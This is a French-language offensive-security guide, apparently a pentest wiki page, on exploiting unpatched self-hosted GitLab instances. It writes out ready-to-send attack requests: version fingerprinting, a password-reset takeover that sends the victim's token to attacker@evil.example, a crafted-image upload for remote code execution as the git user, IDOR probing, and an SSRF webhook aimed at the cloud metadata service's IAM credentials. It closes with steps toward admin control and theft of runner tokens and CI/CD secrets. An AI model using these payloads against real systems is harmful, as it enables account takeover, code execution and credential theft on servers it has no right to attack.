GitLab auto-géré fait tourner la même base de code que gitlab.com mais sur une version choisie par l'opérateur, qui peut ne pas l'avoir patchée, de sorte que les faiblesses publiées restent actives sur les instances en retard sur le correctif. Elles sont conditionnées par la version : confirmez d'abord la version de l'instance (GET /api/v4/version, ou le pied de page/la page /help), puis faites-la correspondre au mécanisme. Cette page nomme les mécanismes et les endpoints affectés plutôt que des identifiants ; chacun s'applique aux instances auto-hébergées à la version vulnérable.
Prendre l'empreinte de la version#
curl -s https://<instance>/api/v4/version -H "PRIVATE-TOKEN: $TOKEN"
# {"version":"16.x.y","revision":"..."} -- map this to the mechanisms below
curl -s https://<instance>/help | grep -iE 'GitLab (Enterprise|Community) Edition'
Prise de contrôle de compte par réinitialisation de mot de passe (e-mail de réinitialisation vers une adresse d'attaquant)#
Sur une version vulnérable, un gestionnaire de demande de réinitialisation acceptait plusieurs adresses e-mail dans le formulaire de réinitialisation et envoyait le lien de réinitialisation à toutes, de sorte que soumettre l'adresse de la victime aux côtés d'une adresse que vous contrôlez livrait le token de réinitialisation de la victime dans votre boîte de réception. Le déroulé :
POST /users/password HTTP/1.1
Host: <instance>
Content-Type: application/x-www-form-urlencoded
user[email][]=victim@corp.example&user[email][]=attacker@evil.example
L'interpréter : la forme tableau (user[email][]) soumet deux destinataires. Sur la version vulnérable, le mail de réinitialisation avec le lien à usage unique est envoyé aux deux, donc vous recevez le lien de la victime, définissez un nouveau mot de passe et possédez le compte. Si la victime est un admin de l'instance, c'est un contrôle admin complet. Contre une instance patchée, l'adresse supplémentaire est rejetée ou le mail ne part qu'à l'adresse enregistrée, et aucun lien n'arrive.
Exécution de code à distance par upload d'image (parseur s'exécutant en tant qu'utilisateur git)#
GitLab traite les images uploadées côté serveur ; sur les versions vulnérables, le chemin de traitement atteignait un parseur d'image/de métadonnées (le parseur de la classe ExifTool) qui pouvait être amené à l'exécution de commande par un fichier forgé, et le processus s'exécute en tant qu'utilisateur de service git. Le déclencheur est un upload ordinaire vers un endpoint qui parse l'image, par exemple l'upload de pièce jointe de commentaire/d'issue :
# A crafted image whose metadata carries the parser payload (built with the known PoC generator)
curl -s -X POST "https://<instance>/<group>/<project>/uploads" \
-H "PRIVATE-TOKEN: $TOKEN" \
-F "file=@payload.jpg"
L'interpréter : l'upload lui-même a l'air anodin ; l'exécution se produit quand le serveur parse les métadonnées du fichier. Un callback vers votre écouteur (ou un fichier écrit) en tant qu'utilisateur git le confirme. Depuis git, vous atteignez la console Rails, le fichier de secrets et les tokens d'enregistrement de runner, ce qui explique pourquoi cela s'enchaîne vers la section suivante.
Classes d'IDOR et de SSRF dans l'API et GraphQL#
Deux classes de bugs récurrentes sur la surface de l'API :
- IDOR : les endpoints d'objet qui autorisent l'action mais pas l'identifiant d'objet spécifique permettent à un token peu privilégié de lire ou de modifier la ressource d'un autre projet ou utilisateur en changeant l'id numérique. Sondez en itérant sur les ids d'endpoints comme
/api/v4/projects/<id>/...ou les recherches de nœuds GraphQL en guettant un200là où un403/404est attendu. - SSRF : les fonctionnalités qui récupèrent une URL côté serveur (import de projet par URL, test de livraison de webhook, mise en miroir de dépôt, intégrations) peuvent être pointées vers des adresses internes et le service de métadonnées du cloud. Sur une instance auto-gérée dans un VPC cloud, cela atteint
http://169.254.169.254/pour les identifiants d'instance.
# SSRF via webhook test: point a hook at the metadata service and trigger a test delivery
curl -s -X POST "https://<instance>/api/v4/projects/<id>/hooks" \
-H "PRIVATE-TOKEN: $TOKEN" \
-d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/&push_events=true"
Un test de livraison qui renvoie le contenu du corps des métadonnées (ou dont le timing/la longueur de réponse diffèrent entre cibles internes et externes) confirme que la récupération se produit côté serveur. Les versions plus récentes imposent une allowlist et bloquent les plages lien-local, c'est donc conditionné par la version et la configuration.
Suites#
Le contrôle admin, qu'il vienne d'une prise de contrôle par réinitialisation ou d'une RCE par upload, débloque les tokens d'enregistrement de runner et les secrets CI/CD de l'instance, donc depuis ici allez vers la prise de contrôle de runner. Le contrôle admin vous permet aussi de forger des tokens et d'usurper des utilisateurs via l'API (voir l'abus de token).
Outils#
- Un générateur d'image forgée correspondant à la version du parseur ciblé pour le chemin d'upload.
- Burp Suite / ffuf pour itérer sur les ids d'objet lors du sondage d'IDOR.
- Un collecteur de requêtes pour les callbacks de SSRF et de RCE.